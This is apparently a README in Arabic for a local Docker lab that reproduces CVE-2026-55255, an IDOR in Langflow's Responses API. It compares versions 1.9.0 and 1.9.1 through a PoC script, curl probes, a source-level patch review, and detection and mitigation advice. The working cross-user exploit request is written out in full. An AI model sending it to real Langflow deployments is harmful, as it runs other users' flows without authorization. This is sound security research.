
مختبر Docker محلي لإعادة إنتاج CVE-2026-55255، وهي ثغرة من نوع IDOR في واجهة برمجة التطبيقات Responses في Langflow. يتحقق من تنفيذ التدفق عبر المستخدمين في الإصدارات الضعيفة مقابل المُصححة باستخدام PoC قائم على الطلبات.
/api/v1/responsesيحتوي هذا المستودع على معمل Docker محلي لإعادة إنتاج والتحقق من صحة CVE-2026-55255، وهي ثغرة مرجع كائن مباشر غير آمن (IDOR) تؤثر على واجهة برمجة تطبيقات Responses المتوافقة مع OpenAI في Langflow.
Langflow هي منصة مفتوحة المصدر لبناء ونشر الوكلاء وسير العمل المدعومين بالذكاء الاصطناعي. يؤثر السلوك الضعيف على نقطة النهاية /api/v1/responses، حيث يمكن لمهاجم مصادق تقديم UUID لتدفق مستخدم آخر كقيمة model ويتسبب في تنفيذ Langflow لذلك التدفق المملوك للضحية.
يقارن هذا المعمل بين إصدارين من Langflow:
| الخدمة | إصدار Langflow | الغرض | الرابط |
|---|---|---|---|
| vuln | 1.9.0 | هدف المقارنة الضعيف | http://localhost:7860 |
| patched | 1.9.1 | هدف المقارنة المصحح | http://localhost:7861 |
مسار التحقق من HTTP الموضح في هذا المعمل المحلي هو:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
في الهدف الضعيف، يمكن لمفتاح API المملوك للمهاجم تنفيذ التدفق المملوك للضحية ويحتوي الرد على علامة خاصة بالضحية فقط:```text
VICTIM_ONLY_CONTEXT_55255_VULN
في الهدف المُصحَّح، لا يعيد نفس الطلب عبر المستخدمين علامة الضحية ويعيد نص خطأ على نمط OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
يختبر هذا المعمل سلوك HTTP بين الإصدار الضعيف والإصدار المصحح باستخدام Langflow 1.9.0 و Langflow 1.9.1.
يقتصر نطاق هذا المعمل عمداً على خدمات Docker المحلية. لا يستهدف أنظمة خارجية ولا يتضمن سرقة بيانات الاعتماد، أو تفريغ قواعد البيانات، أو الحمولات التدميرية، أو الاستدعاءات الخارجية، أو البرامج الضارة، أو الثبات، أو أنشطة ما بعد الاستغلال.
## Verified Facts
| الادعاء | الدليل | كيفية التحقق في هذا المعمل |
| ----- | -------- | ------------------------- |
| يؤثر CVE-2026-55255 على نقطة النهاية `/api/v1/responses` في Langflow. | يصف تنبيه GitHub GHSA-qrpv-q767-xqq2 IDOR في `/api/v1/responses`. | راجع قسم المراجع وشغّل PoC ضد كلا الهدفين المحليين. |
| يسرد تنبيه GitHub الإصدارات المتأثرة كـ `< 1.9.1` والإصدار المصحح كـ `1.9.1`. | تنبيه GitHub GHSA-qrpv-q767-xqq2. | قارن إصدارات الهدف الضعيف والهدف المصحح في `docker-compose.yml`. |
| تختلف بعض مصادر الثغرات الأمنية الفرعية حول الإصدار المصحح بالضبط. | تدرج GitHub/GitLab `1.9.1` كمصحَّح؛ تذكر بعض صفحات الاستخبارات الفرعية `1.9.2` أو تحتوي على صياغة مختلطة. | راجع قسم المراجع واعتمد على التحقق من المعمل لسلوك الإصدار 1.9.1 المُختبر. |
| يستخدم هذا المعمل Langflow 1.9.0 كهدف مقارنة ضعيف. | تستخدم خدمة `vuln` `langflowai/langflow:1.9.0`. | افحص `docker-compose.yml` وشغّل `docker compose ps`. |
| يستخدم هذا المعمل Langflow 1.9.1 كهدف مقارنة مصحح. | تستخدم خدمة `patched` `langflowai/langflow:1.9.1`. | افحص `docker-compose.yml` وشغّل `docker compose ps`. |
| تستخدم واجهة برمجة تطبيقات الاستجابات في Langflow `POST /api/v1/responses`. | يصف توثيق Langflow نقطة نهاية واجهة برمجة تطبيقات الاستجابات المتوافقة مع OpenAI. | شغّل PoC أو طلب curl يدوي ضد `/api/v1/responses`. |
| تقبل واجهة برمجة تطبيقات الاستجابات في Langflow معرف التدفق (flow ID) كقيمة `model`. | ينص توثيق Langflow على أن قيمة `model` تُستبدل بـ `flow_id`. | افحص نص طلب PoC. |
| تتطلب طلبات واجهة برمجة تطبيقات Langflow مفتاح API عبر `x-api-key`. | يصف توثيق واجهة برمجة تطبيقات Langflow المصادقة بمفتاح API عبر الرأس `x-api-key`. | افحص رؤوس طلب PoC. |
| يعتمد PoC على الطلبات. | يرسل `poc/validate_idor.py` طلبات HTTP ولا يستدعي Docker أو Docker Compose أو أوامر shell أو واجهات برمجة تطبيقات الحاويات. | افحص `poc/validate_idor.py`. |
| ينفذ الهدف الضعيف تدفقاً مملوكاً للضحية باستخدام مفتاح API مملوك للمهاجم. | يرد الاستجابة الضعيفة بـ `VICTIM_ONLY_CONTEXT_55255_VULN`. | شغّل أمر PoC الضعيف باستخدام معرف تدفق الضحية ومفتاح API للمهاجم. |
| يمنع الهدف المصحح نفس مسار التنفيذ عبر المستخدمين. | يرد الاستجابة المصححة بـ `error.code = flow_not_found` ولا تُرجع علامة الضحية. | شغّل أمر PoC المصحح باستخدام معرف تدفق الضحية ومفتاح API للمهاجم. |
## Assumptions and Unknowns
يستخدم هذا المعمل Langflow 1.9.0 كهدف مقارنة ضعيف لأن تنبيه GitHub GHSA-qrpv-q767-xqq2 يُحدد الإصدارات قبل 1.9.1 كمتأثرة، وأكد الاختبار المحلي السلوك الضعيف في 1.9.0.
يستخدم هذا المعمل Langflow 1.9.1 كهدف مقارنة مصحح لأن تنبيه GitHub GHSA-qrpv-q767-xqq2 يسرد 1.9.1 كإصدار مصحح، وأكد الاختبار المحلي أن 1.9.1 يمنع مسار التنفيذ عبر المستخدمين المُختبر `/api/v1/responses` مع `flow_not_found`.
هناك تباين في الإصدارات بين المصادر. تسرد تنبيهات GitHub و GitLab الإصدارات قبل 1.9.1 كمتأثرة و 1.9.1 كمصحح. تذكر بعض صفحات استخبارات الثغرات الأمنية الفرعية 1.9.2 أو تحتوي على صياغة مختلطة حول الإصدار المصحح. يوثق هذا المستودع ذلك التباين ويتحقق من السلوك المُختبر مباشرة:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
يفترض هذا المعمل أن المهاجم يعرف بالفعل UUID لتدفق الضحية. لا يقوم إثبات المفهوم (PoC) بتخمين معرفات التدفق (flow IDs) بالقوة، ولا بتعداد التدفقات، أو بمحاولة اكتشاف معرفات تدفق الضحية.
يركز هذا المعمل على سلوك HTTP القابل للملاحظة لـ:```text POST /api/v1/responses
بشكل هذا الطلب:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
المختبر يوضح تنفيذ التدفق عبر المستخدم غير المصرح به في الهدف الضعيف والسلوك المحظور في الهدف المصحح.
لا يوضح المختبر:
السبب الجذري لـ CVE-2026-55255 هو فجوة في التفويض في منطق حل التدفق في Langflow.
يقبل نقطة النهاية /api/v1/responses معرّف التدفق (UUID) من خلال حقل model. في الإصدارات الضعيفة، يمكن لمسار البحث عن UUID داخل get_flow_by_id_or_endpoint_name() تحميل كائن Flow مباشرة بواسطة المفتاح الأساسي دون فرض تطابق Flow.user_id المحلول مع مستخدم مفتاح API المصادق عليه.
يمكن تلخيص السلوك الضعيف على النحو التالي:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
يمكن تلخيص السلوك المصحح على النحو التالي:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
المشكلة الأمنية ليست في قدرة المهاجم على استدعاء /api/v1/responses باستخدام flows الخاصة به. فهذا سلوك متوقع. المشكلة هي أن مستخدمًا مصدقًا بصلاحيات منخفضة يمكنه جعل نقطة النهاية تنفذ flow يملكه مستخدم آخر عند توفير UUID flow الضحية. الدرس الأمني هو:```text
Object lookup by UUID is not authorization.
Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## تحليل الكود المصدر
تم تأكيد المشكلة على مستوى المصدر من خلال مقارنة Langflow `v1.9.0` و `v1.9.1`.
علامات المصدر التي تم التحقق منها المستخدمة للمراجعة كانت:
| الإصدار | Git commit |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
المساعد ذو الصلة هو:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
في فرع UUID الضعيف، تم تحميل التدفق بواسطة ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
التحقق المفقود ذو الصلة بالأمان كان:```python
flow.user_id == authenticated_user.id
بدون فحص المالك هذا، كان UUID التدفق الصالح كافيًا لحل كائن Flow حتى لو كان ينتمي إلى مستخدم آخر.
الإصدار المُصحّح يُضيف تطبيعًا لـ user_id ويُفرض نطاق المالك على مسار UUID:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
السلوك المهم هو:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
هذا هو السبب في أن استجابة المختبر المُصَحَّح ترجع:```json {"error":{"code":"flow_not_found"}}
بدلاً من تنفيذ التدفق المملوك للضحية.
لهذه التجربة، السلوك الأساسي القابل للاستغلال هو مسار التنفيذ `/api/v1/responses` الذي يصل إلى `get_flow_by_id_or_endpoint_name()` ويقوم بحل UUID تدفق مملوك للضحية دون فرض الملكية.
يقوم التصحيح أيضًا بتعزيز مسارات تنفيذ التدفق ذات الصلة. في `endpoints.py`، تم تغيير المسارات التي كانت تستخدم المساعد الخام كتبعية FastAPI من:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
إلى أغلفة مصادق عليها مثل:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
تلك التغييرات في الغلاف هي تعزيزات ذات صلة لمسارات تنفيذ التدفق الأخرى مثل `/api/v1/run*`. وهي تضمن أن تتلقى الوظيفة المساعدة معرف المستخدم المُوثّق بدلاً من الاعتماد على معامل طلب عادي. يبقى الإصلاح الأساسي الذي توضحه هذه المعمل هو فحص الملكية على جانب الحلّال داخل `get_flow_by_id_or_endpoint_name()`.
وبالتالي فإن الإصلاح على مستوى المصدر يتكون من جزأين مرتبطين:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
يعزز Langflow 1.9.1 مسار حل التدفق الضعيف من خلال معالجة عمليات البحث عبر المستخدمين على أنها غير موجودة وضمان أن مسارات تنفيذ التدفق ذات الصلة تمرر سياق المستخدم المصادق عليه إلى المحلل.
المنطق المصحح الأساسي هو:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
يُضيف التصحيح أيضًا تبعيات غلاف مصادق عليها للمسارات التي تحتاج إلى حل التدفقات:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
التغيير المتعلق بالأمان هو:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
كما يعمل التصحيح أيضًا على تقليل الكشف عن المعلومات. يتم التعامل مع الوصول عبر المستخدمين على أنه غير موجود بدلاً من إرجاع استجابة تفويض مميزة قد تكشف عما إذا كان تدفق مستخدم آخر موجودًا.
يحافظ هذا المختبر على مراجعة المصدر والتحقق من وقت التشغيل بشكل منفصل:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
يقوم المختبر بتشغيل هدفين معزولين من Langflow عبر Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
يتم إنشاء ملفات `state/` بواسطة خدمات البذور (seed services) أثناء بدء المختبر. يحتوي دليل `src/` على الأشجار المصدرية لـ Langflow التي تم سحبها والمستخدمة للتحقق من الفروقات المصدرية (source-diff).
يستخدم خدمتا Langflow إصدارات تطبيقات منفصلة وقواعد بيانات SQLite منفصلة داخل الحاوية:
| الخدمة | المكون | الإصدار / الدور |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | تطبيق هدف ضعيف |
| patched | Langflow | تطبيق مقارنة مُصلّح |
| seed-vuln | Python | ينشئ مستخدمين محليين، مفاتيح API، وتدفقات |
| seed-patched | Python | ينشئ مستخدمين محليين، مفاتيح API، وتدفقات |
الخدمات المكشوفة الافتراضية:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
The lab uses pinned Langflow images:
| Target | إصدار Langflow | السلوك المتوقع |
|---|---|---|
| http://localhost:7860 | 1.9.0 | يمكن لمفتاح API للمهاجم تنفيذ التدفق المملوك للضحية |
| http://localhost:7861 | 1.9.1 | تم حظر تنفيذ تدفق الضحية عبر المستخدمين |
تعمل الخدمات الأساسية تلقائيًا أثناء:```bash docker compose up --build --wait
يخلقون:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
الملفات state/*.json المولّدة من البذرة توفر قيم اختبار محلية مؤقتة مثل مفاتيح API ومعرفات التدفق.
لا يقرأ إثبات المفهوم ملفات state/*.json. يقوم المستخدم بتوفير عنوان URL الهدف، ومفتاح API، ومعرف التدفق، والعلامة المتوقعة الاختيارية من خلال وسائط سطر الأوامر.
لا يقوم المعمل بإنشاء أو تعديل المسار الضعيف /api/v1/responses. يتم توفير هذا المسار بواسطة Langflow.
--waitjq للأوامر المساعدة في هذا الملف READMEلا توجد حزمة Python خارجية مطلوبة لإثبات المفهوم. يستخدم إثبات المفهوم وحدات مكتبة Python القياسية فقط.
يقوم حاوية البذرة بتثبيت حزمة Python requests داخليًا. تُستخدم هذه الحزمة فقط بواسطة خدمات البذرة أثناء إعداد المعمل، وليس بواسطة إثبات المفهوم.
ابدأ المعمل من حالة نظيفة:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
تحقق من حالة الخدمة:```bash
docker compose ps
الخدمات الصحية المتوقعة:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
الأهداف المتوقعة المكشوفة:```text
http://localhost:7860
http://localhost:7861
تحقق من ملفات حالة البذور:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
الملفات المتوقعة:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
تشغيل التحقق القائم على الطلب ضد الهدف الضعيف:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
تشغيل التحقق القائم على الطلب ضد الهدف المُصحَّح:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
تقبل أداة PoC عنوان URL مستهدفًا، ومفتاح API، ومعرف التدفق، وعلامة متوقعة اختيارية:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
الخيارات المطلوبة:
| الخيار | المعنى |
| ------ | ------- |
| `--url` | عنوان URL الأساسي لـ Langflow |
| `--api-key` | مفتاح API المستخدم في رأس `x-api-key` |
| `--flow-id` | UUID التدفق المستخدم كقيمة `model` |
الخيارات الاختيارية:
| الخيار | المعنى |
| ------ | ------- |
| `--expect-marker` | العلامة المتوقعة في الرد إذا تم تنفيذ التدفق الهدف |
يرسل PoC طلب HTTP هذا:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
متن الطلب:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
إن PoC يعتمد على الطلبات. لا يقوم باستدعاء Docker أو Docker Compose أو أوامر الصدفة أو WP-CLI أو واجهات برمجة تطبيقات الحاويات أو Langflow seed APIs.
في هذا المختبر، يمكن استخدام `state/*.json` لنسخ مفاتيح API المحلية المؤقتة ومعرفات التدفق إلى أمر PoC. لا يعتمد PoC نفسه على تلك الملفات. مفاتيح API الموجودة في `state/*.json` هي مفاتيح مختبر محلية مؤقتة؛ لا تستخدم مفاتيح API إنتاجية حقيقية في هذه الأوامر.
## النتائج المتوقعة
### الهدف المعرض للخطر
الأمر:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
الإشارة الضعيفة المهمة هي:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
الأمر:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
الإشارة المستهدفة المصححة المتوقعة:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
الإشارة المصححة المهمة هي:```text attacker API key
### تنفيذ ملاحظ بدون علامة
إذا تم حذف `--expect-marker` وأعاد الهدف استجابة Langflow مكتملة، يقدم PoC ما يلي:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
هذا يعني أن التدفق الهدف تم تنفيذه، لكن الـ PoC لا يمكنه إثبات بمفرده أن معرف التدفق المقدم ينتمي إلى مستخدم آخر. يجب تأكيد الملكية من خلال بيانات البذور المختبرية، أو مصدر معرف التدفق، أو أي دليل معتمد آخر.
يرسل المدقق طلب HTTP POST واحد إلى نقطة نهاية واجهة برمجة تطبيقات Langflow Responses:```text /api/v1/responses
يستخدم الطلب مفتاح API المقدم:```text
x-api-key: <attacker-api-key>
يستخدم نص الطلب UUID التدفق المقدَّم كقيمة model:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
السلوك المتوقع القابل للاستغلال:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
السلوك المتوقع بعد التصحيح:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
في هذا المختبر، يُرجع Langflow 1.9.1 `HTTP 200` مع كائن خطأ على نمط OpenAI-style JSON:```json
{"error":{"code":"flow_not_found"}}
لهذا السبب يتحقق إثبات المفهوم (PoC) من رمز خطأ JSON بدلاً من افتراض أن حالة نقل HTTP يجب أن تكون 404.
يتحقق إثبات المفهوم (PoC) عمدًا فقط من شرط تنفيذ التدفق عبر المستخدمين. لا يحاول اكتشاف معرفات التدفق (flow IDs)، أو تخمين UUIDs بقوة، أو تعداد المستخدمين، أو استخراج الأسرار، أو تشغيل الخدمات الخارجية.
يكتب بذرة المختبر (lab seed) قيمًا محلية مؤقتة في state/*.json. تستخدم هذه الأوامر تلك القيم المحلية لبناء طلبات curl. ملفات الحالة (state files) هي محض أثرية للمختبر فقط.
الاستقصاء القابل للاختراق:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
النتيجة المتوقعة للثغرة:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
المسبار المصحح:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
النتيجة المتوقعة بعد التصحيح:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 هو حساس أمنيًا في عمليات نشر Langflow متعددة المستخدمين أو متعددة المستأجرين لأن المستخدم الموثوق قد يكون قادرًا على تنفيذ تدفق مستخدم آخر إذا كان UUID تدفق الضحية معروفًا.
التأثير المحتمل في العالم الحقيقي يعتمد على ما يفعله التدفق المملوك للضحية.
التأثير المحتمل قد يشمل:
تعتمد قابلية الاستغلال العملي على ما إذا كان المهاجم يمكنه الحصول على UUID تدفق ضحية صالح. تخمين UUID التدفق ليس محور هذه التجربة، ولا يقوم الدليل على المفهوم (PoC) بتجربة قسرية لمعرفات التدفق.
تظهر هذه التجربة فقط فشل حدود التخويل الآمنة:```text attacker API key
لا يُظهر المختبر وصولاً حقيقياً للبيانات، أو وصولاً حقيقياً للأسرار، أو إساءة استخدام مفتاح مزود LLM، أو استدعاءات خارجية، أو ما بعد الاستغلال.
## الكشف والمراقبة
تشمل المؤشرات المحتملة الطلبات المصادق عليها إلى:```text
POST /api/v1/responses
نمط طلب مشبوه:```text x-api-key belongs to user A model contains flow UUID owned by user B
فكرة كشف الإشارة العالية:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
model،flow_not_found،/api/v1/responses،مثال على قطعة أثرية ضعيفة للتحقق:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
مثال على أثر التحقق المُصحَّح:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
إجراءات المراقبة الموصى بها:
/api/v1/responses.flow_not_found المتكررة مقابل واجهة Responses API.قم بترقية Langflow إلى إصدار مثبت.
يسرد إشعار GitHub GHSA-qrpv-q767-xqq2 الإصدار Langflow 1.9.1 باعتباره مصححًا لـ CVE-2026-55255. تذكر بعض مصادر معلومات الثغرات الأمنية الإصدار 1.9.2 أو تحتوي على صياغة مختلطة حول الإصدار المصحح. يتحقق هذا المختبر من أن Langflow 1.9.1 يمنع مسار التنفيذ عبر المستخدمين لـ /api/v1/responses مع flow_not_found. بالنسبة لبيئات الإنتاج، قم بالتحديث إلى أحدث إصدار متاح من Langflow بدلاً من التوقف عند إصدار المقارنة في المختبر.
خطوات التخفيف الموصى بها:
/api/v1/responses عبر المستخدمين.دروس هندسة الأمان:
هذا المختبر مخصص للبحث الأمني المحلي والعرض التوضيحي الخاضع للرقابة فقط.
لا تقم بتشغيل PoC أو طلبات curl اليدوية ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا تستخدم بيانات اعتماد إنتاج حقيقية، أو بيانات عملاء، أو بيانات دفع، أو مفاتيح API، أو مفاتيح موفري LLM، أو بيانات اعتماد قواعد البيانات، أو أسرار الإنتاج في هذا المختبر.
النطاق المقصود يقتصر على خدمات Docker المحلية مثل:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
The PoC يعتمد بشكل متعمد على الطلبات. لا يستخدم Docker، أو Docker Compose، أو أوامر shell، أو WP-CLI، أو واجهات برمجة التطبيقات للحاويات.
لا يتضمن المختبر حمولات من أجل:
* تخمين UUID للتدفق،
* تعداد المستخدمين،
* سرقة بيانات الاعتماد،
* تفريغ قاعدة البيانات،
* إساءة استخدام مفتاح مزود LLM،
* تنفيذ أوامر عشوائية،
* البرامج الضارة،
* الثبات،
* الحركة الجانبية،
* الوصول إلى بيانات العميل،
* أو استدعاءات خارجية.
الهدف هو إظهار حالة تقنية محددة واحدة في بيئة محكومة:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
سجل CVE: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
إشعار GitHub: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
إشعار GitLab: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
طلب سحب Langflow: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
توثيق Langflow OpenAI Responses API https://docs.langflow.org/api-openai-responses
توثيق مفاتيح API والمصادقة في Langflow https://docs.langflow.org/api-keys-and-authentication
أمثلة مرجعية لواجهة برمجة تطبيقات Langflow https://docs.langflow.org/api-reference-api-examples
مستودع Langflow على GitHub https://github.com/langflow-ai/langflow
صورة Docker الخاصة بـ Langflow https://hub.docker.com/r/langflowai/langflow
ملاحظة إضافية Tenable Plugin Note for GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659
معلومات الثغرات من Mondoo: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255